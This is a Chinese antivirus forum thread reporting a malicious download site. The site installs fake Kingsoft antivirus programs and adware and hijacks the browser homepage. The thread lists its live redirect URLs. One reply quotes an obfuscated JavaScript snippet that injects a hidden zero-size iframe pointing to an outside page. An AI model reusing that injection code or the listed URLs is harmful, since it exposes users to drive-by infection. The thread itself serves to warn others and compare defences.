毒网过金山网盾和360组合，还伪装金山毒霸杀毒软件！(恶意弹窗 BY：Sherry.ai）

hg2871233

恶意网址：http://www.avdown.com/link.php?ref=W0V952xx56  点下载后跳到这个网站就中招http://mmduokuokuomntootuomnoononounm.huhummtuku.com/bobotuiguangangruanjian/index_p.html?title=&CK_uid=117&CK_sid=7704&CK_code=244aa1c4b9c2940d&toji=4d64fe73b3cbc2e0ae6f1c058db5fe45|62X15EXCB|http%3A%2F%2Fwww%2Eavdown%2Ecom%2Flink%2Ephp%3Fref%3DW0V952xx56

之后上网还会跳出这个搜索网页：招牌 -- 搜网 -- 搜网是您的助手,让您上网不再麻烦.http://so.goupopo.cn/sg.aspx?wd=%e6%8b%9b%e7%89%8c

中招表现为强制后台安装这些恶意软件，有意思的是伪装成金山毒霸杀毒软件，明显它可以干掉毒霸，360也在其中：
由于我没权限发截图所以把他们名字报出来！

金山毒霸.exe

金山毒霸模式转换程序.exe

金山清理专家2009.exe

金山网镖.exe

阔豆网络电视

中诺浏览器

有道桌面词典

Internet Explorer

另外中招后打开网页，网页2边会出现长方形图形广告，以及网页右下角有图形广告！

hg2871233

主页被修改成 www.776la.com

王子带着刀

kaba2

这个啊，我昨天就浏览过了，没想到能过金山网盾…

zdlzp

过2微点

veimo

微点都过？

ryota

上黄网的后果
<script language =javascript>
if(document.cookie.indexOf('netstat')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='netstat=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%77%2E%6D%69%72%33%2E%6F%72%67%2F%6D%69%72%33%2F%71%75%2E%61%73%70%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E"));}
</script> <script type="text/javascript"

敢问楼主是不是下了什么东西运行了,还是系统补丁从没打过,我浏览了下，有毒，但没中招。

hg2871233

你装有卡巴斯基当然没有中招，因为这个病毒好像前段时间已经上报到卡巴了，本来我装有卡巴，它提示有病毒，我退出了卡巴，想试下金山和360，金山直接显示安全，结果中招了！

kanfaner

鎷掔粷璁块棶
鏃犳硶杩斿洖璇锋眰鐨勭綉椤

天高任鸟飞

没发现哪里挂马了！